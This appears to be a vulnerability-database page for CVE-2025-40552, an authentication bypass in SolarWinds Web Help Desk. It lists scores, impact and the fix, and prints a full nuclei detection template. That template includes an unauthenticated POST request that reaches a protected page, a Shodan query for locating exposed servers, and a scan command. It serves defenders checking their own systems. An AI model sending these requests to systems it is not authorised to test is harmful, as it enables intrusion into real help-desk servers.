HexBrain

Browse / CVEs / CVE-2025-40552

CVE-2025-40552· solarwinds / web help desk· CWE-1390

SolarWinds Web Help Desk - Authentication Bypass

criticalseverity
9.8CVSS score
52%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

SolarWinds Web Help Desk contains an authentication bypass vulnerability caused by improper access control, letting attackers execute protected actions without authentication, exploit requires no special conditions.

Impact

Attackers can execute protected actions without authentication, potentially compromising system integrity and data security.

Fix

Update to the latest version of SolarWinds Web Help Desk.

How to confirm it

Send: GET /helpdesk/WebObjects/Helpdesk.woa
Positive when: contains_all(body, 'helpdesk','WebObjects') and status_code == 200
Send: POST /helpdesk/WebObjects/Helpdesk.woa/wo/1.2
Positive when: contains_all(body, '<span>Add File</span>','saveOptions') and status_code == 200

Run it with nuclei: nuclei -id CVE-2025-40552 -u <target>

The full check
id: CVE-2025-40552

info:
  name: SolarWinds Web Help Desk - Authentication Bypass
  author: watchTowr,DhiyaneshDk
  severity: critical
  description: |
    SolarWinds Web Help Desk contains an authentication bypass vulnerability caused by improper access control, letting attackers execute protected actions without authentication, exploit requires no special conditions.
  impact: |
    Attackers can execute protected actions without authentication, potentially compromising system integrity and data security.
  remediation: Update to the latest version of SolarWinds Web Help Desk.
  reference:
    - https://github.com/watchtowrlabs/watchTowr-vs-SolarWinds-WebHelpDesk-CVE-2025-40552-CVE-2025-40553
    - https://www.solarwinds.com/trust-center/security-advisories/CVE-2025-40552
    - https://documentation.solarwinds.com/en/success_center/whd/content/release_notes/whd_2026-1_release_notes.htm
    - https://nvd.nist.gov/vuln/detail/CVE-2025-40552
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-40552
    cwe-id: CWE-1390
    epss-score: 0.51997
    epss-percentile: 0.98964
  metadata:
    verified: true
    max-request: 2
    vendor: solarwinds
    product: web_help_desk
    shodan-query: http.favicon.hash:"1895809524"
  tags: cve,cve2025,solarwinds,web-help-desk,auth-bypass

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /helpdesk/WebObjects/Helpdesk.woa HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains_all(body, 'helpdesk','WebObjects')"
          - "status_code == 200"
        condition: and
        internal: true

  - raw:
      - |
        POST /helpdesk/WebObjects/Helpdesk.woa/wo/1.2 HTTP/1.1
        Host: {{Hostname}}

        wopage=LookAndFeelPref

    matchers:
      - type: dsl
        dsl:
          - "contains_all(body, '<span>Add File</span>','saveOptions')"
          - "status_code == 200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from